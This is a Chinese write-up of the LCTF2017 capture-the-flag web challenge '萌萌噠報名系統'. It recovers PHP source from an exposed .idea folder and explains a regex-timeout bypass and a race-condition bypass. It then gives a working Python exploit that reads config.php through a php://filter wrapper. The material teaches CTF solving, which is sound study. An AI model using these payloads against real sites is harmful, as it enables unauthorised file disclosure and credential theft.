1. 程式人生 > >LCTF2017之萌萌噠報名系統

LCTF2017之萌萌噠報名系統

題記:

最近在伺服器上覆現了一些CTF題目,所以對這些題目整理上相應的writeup。所以,才有了今天的文章。

正文:

這道題目是LCTF2017的題目,名字為萌萌噠報名系統。題目提示為:天依花了一整天的時間用IDE開發了一個報名系統,現在她睡著了,難道你們不想做點什麼嘛XD?

首先提示是IDE,那麼我們可以想到PHP有款強大的IDE叫做PHPSTORM,它新建專案的時候會生成一個.idea資料夾,訪問發現有一個workspace.xml檔案,訪問裡面發現了一個xdcms2333.zip

`<entryfile="file://$PROJECT_DIR$/xdcms2333.zip"/><entry file="file://$PROJECT_DIR$/config.php"><provider selected="true" editor-type-id="text-editor"><state relative-caret-position="0">`

下載即可得到原始碼

register.php

<?php
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
	echo '<script>alert("register success");location.href="./index.html"</script>';

login.php

<?php
	session_start();
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

```
if (strlen($username) > 32 || strlen($password) > 32) {
    die('Invalid input');
}

$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
    die('wrong password');
}
$_SESSION['username'] = $username;
unset($_SESSION['is_logined']);
unset($_SESSION['is_guest']);
#echo $username;
header("Location: member.php");
```

?>

member.php

<?php
	error_reporting(0);
	session_start();
	include('config.php');
	if (isset($_SESSION['username']) === false) {
        die('please login first');
    }
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

```
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
    
}else{
	if(isset($_GET['file'])===false)
		echo "None";
	elseif(is_file($_GET['file']))
		echo "you cannot give me a file";
	else
		readfile($_GET['file']);
}
```

?>

這裡我們首先看register.php

$admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');

然後下面

preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);

如果匹配了$matches[0]=$admin就可以把xdsec註冊到identities表中,可樣我們就可以繞過第一層,member.php中的

if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

​ 官方在這裡解釋說str_shuffle是不可預測的,所以xdsec註冊是一個幌子,但是之前讀過一篇文章,str_shuffle是可以預測的。str_shuffle 是通過獲取 rand() 值計算鍵值進行字串置換,打亂字串。所以我們只要能預測 rand() 值,就能計算出 str_shuffle 生成的值

其中提到的公式:state[i] = state[i-3] + state[i-31]

也就是說,rand 生成的第 i 個隨機數,等於 i-3 個隨機數加 i-31 個隨機數的和。

所以我們需要生成至少 32 個隨機數,就可以預測後面的隨機數了。這裡我們要用到 Keep-Alive 來獲取隨機數,只要 TCP 連線不斷那麼這個隨機數生成就是連續的。所以,這裡生成的隨機數是偽隨機數。

這裡我們用另一個方法,用pre_match函式的資源消耗來繞過,因為pre_match在匹配的時候會消耗較大的資源,並且預設存在貪婪匹配,所以通過喂一個超長的字串去給pre_match吃,導致pre_match消耗大量資源從而導致php超時,後面的php語句就不會執行。

payload:

`code=xdsec###AAAAAAAAAAAAAAAAAAA(超多個A)`

這個時候identity是空串,這時候我們就繞過了第一個限制

if ($sth->fetch()[0] === 'GUEST') {
    $_SESSION['is_guest'] = true;
}

因為identity欄位沒有插入,所以此處為session設定失敗。接下來進入第二個限制:

   `if(isset($_GET['file'])===false)
	echo "None";
elseif(is_file($_GET['file']))`
	`echo "you cannot give me a file";`
`else`
	`readfile($_GET['file']);`

這裡要求通過GET方法過去的,必須是檔案,然後才呼叫readfile方法,如果我們相要任意讀取檔案,需要繞過這裡,此處,我們採用php偽協議繞過。

<?php
$a = '123.php';
$b = 'php://filter/resource=123.php';
var_dump(is_file($a));
var_dump(is_file($b));
?>

boolean true

boolean false

綜上,現在貼出指令碼

# coding:utf-8
# auther:ur10ser
import requests

url = 'http://47.107.57.56:8083/name/'
log = 'login.php'
reg = 'register.php'
s = requests.session()
headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
    "Content-Type": "application/x-www-form-urlencoded"}
data = {
    'to': 'reg',
    'did': '0',
    'username': 'ur011se',
    'password': 'ur011swqe',
    'code': 'xdsec###' + 'AAA' * 50000
}

data1 = {
    'to': 'log',
    'username': 'ur011se',
    'password': 'ur011swqe'
}

url1 = url + reg
url2 = url + log
s.post(url1, headers=headers, data=data)
print('[+]註冊成功!')
s.post(url2, data=data1)
print('[+]登入成功!')
r = s.get('http://47.107.57.56:8083/name/member.php?file=php://filter/resource=config.php')
print (r.content)

除了上述方法,這個題還有個條件競爭的漏洞,因為身份驗證是用

`if` `($sth->fetch()[0] === ``'GUEST'``)`

的那麼如果在identities表中沒有username這一行資料,那麼取出來$sth->fetch()[0]結果就是null,還是可以繞過第一層,所以可以用python多執行緒註冊使用者,在

`$sth = $pdo->prepare(``'INSERT INTO identities (username, identity) VALUES (:username, :identity)'``);`

語句執行之前登陸上去就可以繞過第一層。

知識儲備

正則表示式的貪婪與非貪婪匹配

如:String str="abcaxc";

Patter p="ab*c";

貪婪匹配:正則表示式一般趨向於最大長度匹配,也就是所謂的貪婪匹配。如上面使用模式p匹配字串str,結果就是匹配到:abcaxc(ab*c)。

非貪婪匹配:就是匹配到結果就好,就少的匹配字元。如上面使用模式p匹配字串str,結果就是匹配到:abc(ab*c)。

php偽協議

php偽協議:

file:// — 訪問本地檔案系統

http:// — 訪問 HTTP(s) 網址

ftp:// — 訪問 FTP(s) URLs

php:// — 訪問各個輸入/輸出流(I/O streams)

zlib:// — 壓縮流

data:// — 資料(RFC 2397)

glob:// — 查詢匹配的檔案路徑模式

phar:// — PHP 歸檔

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — 音訊流

expect:// — 處理互動式的流

【file://協議】

PHP.ini:

file:// 協議在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

使用方法:

file:// [檔案的絕對路徑和檔名]

file:// 用於訪問本地檔案系統,在CTF中通常用來讀取本地檔案的且不受allow_url_fopen與allow_url_include的影響

【php://協議】

條件:

不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用於讀取原始碼,php://input用於執行php程式碼。

php://filter 讀取原始碼並進行base64編碼輸出,不然會直接當做php程式碼執行就看不到原始碼內容了。

PHP.ini:

php://filter在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

條件競爭

競爭條件漏洞就是多個程序或執行緒訪問同一資源時產生的時間或者序列的衝突,並利用這個衝突來對系統進行攻擊。一個看起來無害的程式如果被惡意攻擊者利用,將發生競爭條件漏洞